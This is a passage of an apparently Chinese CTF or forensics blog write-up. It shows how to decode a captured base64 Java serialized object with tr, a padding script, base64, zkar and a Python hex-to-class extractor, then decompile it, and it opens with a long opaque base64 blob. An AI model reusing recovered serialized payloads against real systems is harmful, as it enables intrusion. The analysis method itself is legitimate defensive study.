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 truncated
|
||||
<p blockindex=47>先处理替换和等号的问题</p>
|
||||
<pre blockindex=48><code class="hljs language-bash">cat target.bin | tr <span class=hljs-string>'_-'</span> <span class=hljs-string>'/+'</span> > target_lack_equal.bin
|
||||
./add_equal.sh target_lack_equal.bin > target_base64.bin
|
||||
</code></pre>
|
||||
<p blockindex=49>这里的<code>add.equal.sh</code>简单修改一下,支持传入文件名字</p>
|
||||
<pre blockindex=50><code class="hljs language-bash"><span class=hljs-meta>#!/bin/bash</span>
|
||||
|
||||
<span class=hljs-keyword>if</span> [ <span class=hljs-string>"<span class=hljs-variable>$#</span>"</span> -ne 1 ]; <span class=hljs-keyword>then</span>
|
||||
<span class=hljs-built_in>echo</span> <span class=hljs-string>"Usage: <span class=hljs-variable>$0</span> "</span>
|
||||
<span class=hljs-built_in>exit</span> 1
|
||||
<span class=hljs-keyword>fi</span>
|
||||
|
||||
filename=<span class=hljs-string>"<span class=hljs-variable>$1</span>"</span>
|
||||
|
||||
<span class=hljs-keyword>if</span> [ ! -f <span class=hljs-string>"<span class=hljs-variable>$filename</span>"</span> ]; <span class=hljs-keyword>then</span>
|
||||
<span class=hljs-built_in>echo</span> <span class=hljs-string>"File '<span class=hljs-variable>$filename</span>' not found."</span>
|
||||
<span class=hljs-built_in>exit</span> 1
|
||||
<span class=hljs-keyword>fi</span>
|
||||
|
||||
file_content=$(cat <span class=hljs-string>"<span class=hljs-variable>$filename</span>"</span>) <span class=hljs-comment># 读取文件内容</span>
|
||||
|
||||
<span class=hljs-comment># 移除可能存在的换行符</span>
|
||||
base64_string=$(<span class=hljs-built_in>echo</span> -n <span class=hljs-string>"<span class=hljs-variable>$file_content</span>"</span> | tr -d <span class=hljs-string>'\n'</span>)
|
||||
|
||||
<span class=hljs-comment># 计算base64编码字符串长度</span>
|
||||
length=<span class=hljs-variable>${#base64_string}</span>
|
||||
|
||||
<span class=hljs-comment># 计算需要补充的等号数量</span>
|
||||
remainder=$((length % <span class=hljs-number>4</span>))
|
||||
padding=$(((<span class=hljs-number>4</span> - remainder) % <span class=hljs-number>4</span>))
|
||||
|
||||
<span class=hljs-comment># 补充等号</span>
|
||||
<span class=hljs-keyword>if</span> ((padding &gt; 0)); <span class=hljs-keyword>then</span>
|
||||
padding_string=$(<span class=hljs-built_in>printf</span> <span class=hljs-string>'=%.0s'</span> $(seq 1 <span class=hljs-variable>$padding</span>))
|
||||
base64_string=<span class=hljs-string>"$base64_string<span class=hljs-variable>$padding_string</span>"</span>
|
||||
<span class=hljs-keyword>fi</span>
|
||||
|
||||
<span class=hljs-built_in>echo</span> <span class=hljs-string>"<span class=hljs-variable>$base64_string</span>"</span>
|
||||
</code></pre>
|
||||
<p blockindex=51>然后处理base64和开头的<code>00</code>的问题</p>
|
||||
<pre blockindex=52><code class="hljs language-bash">cat target_base64.bin | base64 -d > target_00.bin
|
||||
tail -c +2 target_00.bin > restore.bin
|
||||
</code></pre>
|
||||
<p blockindex=53>然后就是用zkar解析一波</p>
|
||||
<pre blockindex=54><code class="hljs language-bash">./zkar dump -f restore.bin > restore.txt
|
||||
</code></pre>
|
||||
<p blockindex=55>将中间反序列化部分扣出来,保存成ser_hex.txt</p>
|
||||
<p blockindex=56><img src="data:image/png;base64,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HPPlCCGEEEIIIW4fMlNECCGEEEIIIYQQtyWZKWICSzuTLTmSIznmyxFCCCGEEELcPsw2U8TW1hYHB4cat5WVlaHT6ao85urqilqt5tTpU+gvVW+SvYM9TZs0Ra/Xk5mZSWlpqTmaLYQQtWJtbc29945EBezavYtjx47d6CZdU1SfKEJC2+HS0Jnsc+c4dOgQO3Zsp6SkpEo5jUbDp598xqbNm/j441k3qLXK69atOx4eHiQmJnLkyGHj46Gh7QjRamt8zvncXOLilpslp76EhIQSHh6OlUpFSmoqa9aspry83Cw5t2pdHu4eREZGEhAQQFlZGUnHjrF06RLKyspMqqOFnx+ffvwpW7du4e133q6xjLW1NcPvGV7tVuAX8vL444/fa90vIYQQQlydjbmCg4KC6dGjR43bkpKSWLlyBQAtW7bkrru60KRJE8Bwp4djx46xafNG4+BIcLCWiIgIbG1tAcOgyvr160lMTDBX86vw9/cnOTlZciRHcm6DnMsFBgbRrWtXAgICKL90iSOHDzN/wfwqfwB17NiR5559DoDly//gtddfU7QNSnt7xtv06RNV7fFJkyexatXKKo81aNAAX19fWvi2qKfWmY/KSkVMv/6MGT0af/8AANavX8eLL71oLNM/JoZ77hle4/OPHj1KXNxyxXLq26BBg5k8aXKVP7Sjo/vywgsTazWAYErOrVpXu3btmfnuTNzc3Ixl9Ho9u3fvJj09zaR67Gxs8PT0xN3d44plnJyceP75F6o9fvHiRRkUEUIIIczAbIMiSUlHOXXqVJXHAgICCAsLIy3N8OXB3sGe3r37cPHiRX744Xt0Oh133nkXoaGhnD9/noMHD9C0qTuRkZFkZGSwbdtW9Ho9d93VhaioKE6dPkXehQvm6oKRUn9oSY7kSI7l51QaN248jz7yKDY2NuTknMPFxZWoPlH07BnJuMfGGgdte0T0ND6nS5cuqKxUNc52swRabQi9e/chNzeXTz75mISEeJo192XI4CFkpGdUK5+WlsbLr7xMVmbmDWitstROat6Y9gYAeXl5NGzYEJVKVaXMTz//zI6dO6s89t///IeWLVvx564/Fc2pT/YO9jz37HNYW1vz2eefcfz4cf7vzf8jont3oqKijScplMi5VetSWamYOmUqbm5urF27hl9//YVLej09InpQXFJsUj21lZmZyTvvvmP8/VIdZr8IIYQQ4trMNiii0+mqXSLTvXt3iouLOXYsCQBHB0ccHR05ceIEOTk5gGEwJTQ0FCcnJwC8vLywsrJi7949ZGdnA7Bt21ZatWpFcFAwO3ZsN1cXjCztTLbkSI7kmC8HIDoqmsfGP8bJk3/zwgvPk3TsGE2buvPa1KncdVcX+vTqw5q1awAIDw9Hr9eTmpqKn58f7dq158D+/VXyvvrqawoKCjh4YD8DBgzAx6cZZ86cYdob0zh48IBJZSZNmkzHjmE0bdKE8vIy0jP+Zt68uaytaMekSZPRBmt5a8Zb/PXXIWPdr77yKiEhobz99gyio/uiUqnYsHEDS5ctBSDp2DHWrVtbpb1t2wby6iuvGn/fsnULBw8drFLmi8+/oHHjxtVeuz+WL2fevLkAqNVqnn3mWTp37kyTJk05deoUi39bzE8//Vin9+V66HQ6FixcyPr1a3FxceXdd96tViY9Pa3KGX9HR0femDYNvV7PkiVLFM2pT70ie+Ps7Mzhw3/x7bdz0GpDsLOzA6B/TH9WrlzBf//7JN26dmPFyhXG9y8gIIBpr79BaWkJjzz6iEk5ppRRqs31WVf3bhH4+vqSmJjIy6+8bHzuvn37TKrj33x9fZk393tatWpFVlYWv/22mLkVr3ul7OwsNm3aWKd8IYQQQpiu3hZadXV1xdvbm+PHjxunnufm5nLu3DmaNWuGq6srtra2BAYGAXD8+HEA7OwMl8xYWf0zpdXGxjCW07Bhw3ppu6WdyZYcyZEc8+WorFSMGzee0tJSnvjPExTpdEydMpVpr7+OWq0GIKB1a8AwENOsWTNSUk4YLz2J7NGzWqZ/q1ZEdO/OU089jbu7O2fPnsXHx4dWLVuaXCZ2SCxNGjcmOfkYeXl5BAUGMuOtGXTt2g2AC7m5BAQEMDQ21pjp6urKwIGD8PX1JS09jePHDa/RnZ07ExFR8+WNl7O3tyMoKIjAtoHVthUVFVF42U/Llq1o2bIVjd0aG1/HLz7/ktjYoXh4eJKTk0OLFi147tnnuHfEvdesW2nl5eXMnPkOe/furTaz40r69YtBrW7AwYMHjYMcSuXUJx8fHwAOHjyItbU1r7z8ivEyEY1GA8DatWtp3rw5/3niP7QLbYednR1vTn+T1q1bs2v3bsrLy03KMaWMUm2uz7paVnwO09PTeeutGfz803w+eP8DwsO7mlzP5Xx9ffHz8+P48WQ0Gg1PPfU0QwYPqVImIKA1P/80n9lffc1zzz2Ps7NzneoSQgghxNXV26BIcLAWlUpFfPyRKo8vX/4HZWVljB49hvHjHyMwMJCtW7eQmXkWgAsVl8dUfmkBw5cJMJx9qwLine truncated
|
||||
<p blockindex=57><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=58>然后执行下面的脚本保存成class文件:</p>
|
||||
<pre blockindex=59><code class="hljs language-bash">import re
|
||||
import sys
|
||||
|
||||
def remove_hex_line(input_string):
|
||||
pattern = re.compile(r<span class=hljs-string>'[0-9a-fA-F]{8}'</span>)
|
||||
<span class=hljs-built_in>return</span> re.sub(pattern, <span class=hljs-string>''</span>, input_string)
|
||||
|
||||
def remove_vertical_line(input_string):
|
||||
pattern = re.compile(r<span class=hljs-string>'\|.*\|'</span>)
|
||||
<span class=hljs-built_in>return</span> re.sub(pattern, <span class=hljs-string>''</span>, input_string)
|
||||
|
||||
def extract_hex_to_file(input_filename, output_filename):
|
||||
with open(input_filename, <span class=hljs-string>"r"</span>) as file:
|
||||
input_text = file.read()
|
||||
|
||||
input_text = remove_hex_line(input_text)
|
||||
input_text = remove_vertical_line(input_text)
|
||||
hex_data = re.findall(r<span class=hljs-string>"[0-9a-fA-F]{2}(?: [0-9a-fA-F]{2})*"</span>, input_text)
|
||||
hex_string = <span class=hljs-string>""</span>.join(hex_data).replace(<span class=hljs-string>" "</span>, <span class=hljs-string>""</span>)
|
||||
|
||||
with open(output_filename, <span class=hljs-string>"wb"</span>) as file:
|
||||
file.write(bytes.fromhex(hex_string))
|
||||
|
||||
<span class=hljs-keyword>if</span> __name__ == <span class=hljs-string>"__main__"</span>:
|
||||
<span class=hljs-keyword>if</span> len(sys.argv) != 3:
|
||||
<span class=hljs-built_in>print</span>(<span class=hljs-string>"Usage: python3 extract_hex.py input_filename output_filename"</span>)
|
||||
sys.exit(1)
|
||||
|
||||
input_filename = sys.argv[1]
|
||||
output_filename = sys.argv[2]
|
||||
|
||||
extract_hex_to_file(input_filename, output_filename)
|
||||
</code></pre>
|
||||
<pre blockindex=60><code class="hljs language-bash">python3 extract_hex.py ser_hex.txt restore.class
|
||||
</code></pre>
|
||||
<p blockindex=61>拿到class,然后丢到idea中,自己反编译了</p>
|
||||
